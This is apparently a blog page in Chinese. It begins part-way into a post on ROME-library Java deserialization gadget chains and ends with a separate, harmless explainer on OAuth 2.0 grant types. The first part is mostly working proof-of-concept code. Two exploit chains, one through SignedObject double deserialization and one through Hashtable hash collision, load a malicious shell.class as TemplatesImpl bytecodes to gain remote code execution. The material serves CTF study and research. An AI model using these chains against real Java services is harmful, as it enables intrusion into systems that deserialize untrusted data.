byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);

//第一次反序列化的对象
SignedObject signedObject = makeSObj(hashMap);
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,"1");
EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class,toStringBean1);
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(equalsBean1,"123");
setValue(toStringBean1,"_obj",signedObject);
serialize(hashMap1);
unserialize("ser.bin");


}
public static SignedObject makeSObj(Serializable o) throws IOException, InvalidKeyException, SignatureException{
return new SignedObject((Serializable) o,
new DSAPrivateKey() {
@Override
public DSAParams getParams() {
return null;
}

@Override
public String getAlgorithm() {
return null;
}

@Override
public String getFormat() {
return null;
}

@Override
public byte[] getEncoded() {
return new byte[0];
}

@Override
public BigInteger getX() {
return null;
}
},
new Signature("1") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

}

@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

}

@Override
protected void engineUpdate(byte b) throws SignatureException {

}

@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

}

@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}

@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}

@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

}

@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
}
);
}
private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

不依赖ToStringBean

可以看到,前面列出的诸多方法都是依赖于ToStringBeantoString方法对于getter的循环反射调用,那么如果可以有其他的类也存在这样的功能的话就可以代替它。这就不得不提到前面的EqualsBean了,它有一个beanEquals方法如下:

要求this._objobj的值不为null,而且_beanClass.isInstance(bean2)要为真,也就是bean2要属于_beanClass类或其子类,这是如果使用任意类加载的话就会出错,因为com.sun.org.apache.xalan.internal.xsltc.compiler.Templatecom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl显然不满足条件,这里也就只能用SignedObject的二次反序列化了。之后就可以走到循环获取getter并反射调用的逻辑了,this._obj可以通过构造函数或者反射来进行赋值,而obj是传进来的参数,往回查一下调用情况,发现EqualsBeanequals调用了它,obj也是参数直接传进来的:

说到equals又回到了我们熟悉的话题,首先考虑HashMap在反序列化的时候会调用putVal,在putVal中调用key.equals(k),按照HotSwappableTargetSource在构造方法最后就能调用到EqualsBeanbeanEquals,但是这时候obj的类型会是EquslsBean,无法进入到getter的逻辑:

所以考虑另外一条路:Hashtable,他在readObject的时候会调用reconstitutionPut

e是从tag中来的,如果tag为空时就会传入keyvalue。如果tag不为空,就会先判断(e.hash == hash) && e.key.equals(key),这里可以利用哈希碰撞绕过哈希判断,之后就会调用e.key.equals(key),而HashMap继承了AbstractMap,因此e.key.equals(key)就会调用到AbstractMapequals

equals中会调用value.equals(m.get(key)),如果valueEqualsBeanm.get(key)SignedObject,那么就可以触发二次反序列化了。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(String[] args) throws Exception {
//第二次反序列化的对象
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);

//第一次反序列化的对象
SignedObject signedObject = makeSObj(hashMap);
SignedObject signedObject1 = makeSObj(null);
EqualsBean equalsBean1 = new EqualsBean(String.class,"1");

HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put("yy",equalsBean1);
hashMap1.put("zZ",signedObject);
HashMap<Object,Object> hashMap2 = new HashMap<>();
hashMap2.put("zZ",equalsBean1);
hashMap2.put("yy",signedObject);

Hashtable hashtable = new Hashtable<>();
hashtable.put(hashMap1,"a");
hashtable.put(hashMap2,"b");

setValue(equalsBean1,"_beanClass",SignedObject.class);
setValue(equalsBean1,"_obj",signedObject1);

serialize(hashtable);
unserialize("ser.bin");

}

实验代码及调用链路图:https://github.com/hututu2/Java-Study

参考链接:

https://goodapple.top/archives/1145

https://xz.aliyun.com/t/13104

https://xz.aliyun.com/t/12768

OAuth 2.0 一种第三方授权访问机制

简单来说,OAuth就是一种授权机制,它能够为第三方应用提供访问用户资源的授权。

例如我们在玩某个游戏的时候需要获取QQ的好友列表,那么就需要遵循这个协议跟QQ服务器进行确认身份和协商,让游戏应用拿到允许获取QQ好友的一个令牌,然后游戏应用通过这个令牌就能够跟QQ服务器获取得到QQ好友列表。而这个令牌是有一个有效期的,过期就无法使用,这样就防止了令牌被滥用;当然这个令牌能获取到的数据也是有限的,他只能获取到你授权的内容,如果你只授权QQ好友的话,那么他是获取不到关于你QQ空间、QQ邮箱里面的内容的;而且当你不想玩这个游戏的时候还能够撤销这个令牌,让游戏无法再获取你的QQ好友列表。

也就是说通过OAuth授权第三方应用得到的令牌就是一个临时访问特定资源的凭证,值得注意的是只要拿到了令牌系统就不会再进行身份认证了,因此令牌必须保密,防止泄露导致数据被非法访问。目前一般的流程为先备案再授权,系统只会向有在本系统进行备案的应用颁发令牌,这样可以在一定程度上防止令牌被滥用。

一、授权方式

基于不同的场景,OAuth 2.0 有四种授权方式,分别为:

  • 授权码(authorization-code)
  • 隐藏式(implicit)
  • 客户端凭证(client credentials)
  • 密码式(password)

假设网站b要向网站a获取访问用户C的数据的令牌,在网站a进行备案之后即可开始权限获取,下文将通过图示对四种授权方式进行描述:

(一)授权码

最常用也是安全性最高的方式,一般授权码由前端获取,而令牌由后端获取,这样前后分离使得令牌不易泄露。

(二)隐藏式

适用于无后端的应用,安全性不高,只能用于对安全要求不高的场景,而且授权的令牌有效期一般较短。值得一提的是获取到令牌回调到原网站时,令牌存储位置采用的是锚点,由于oauth 2.0允许回调的网站是http的,因此存在中间人攻击的风险,但是采用锚点就有效减少了泄露的风险,毕竟浏览器跳转时锚点并不会发送到浏览器。

(三)客户端凭证

适用于没有前端的命令行应用。

(四)密码式

这种方式一般是在其他方式都无法采用的情况下才会采用的,用户必须高度信任该应用,毕竟需要将用户名和密码交出来,存在的风险非常大。

二、令牌的使用

网站b拿到了网站a的令牌之后,就可以向网站a提供的API发起请求获取数据了,令牌的位置一般是在数据包请求头,添加Authorization: xxxxxxxx键值对。当令牌过期时,OAuth 2.0允许用户自动更新令牌,注意到前面获取到的 JSON 数据中含有refresh_token字段,这就是用于获取新令牌的字段,用户在令牌过期前用refresh_token向网站a发送请求更新令牌即可,一般格式为https://b.com/oauth/token?grant_type=refresh_token&client_id=CLIENT_ID&client_secret=CLIENT_SECRET&refresh_token=REFRESH_TOKEN

【参考】

https://www.ruanyifeng.com/blog/2019/04/oauth-grant-types.html

https://datatracker.ietf.org/doc/html/rfc6749

https://oauth.net/2/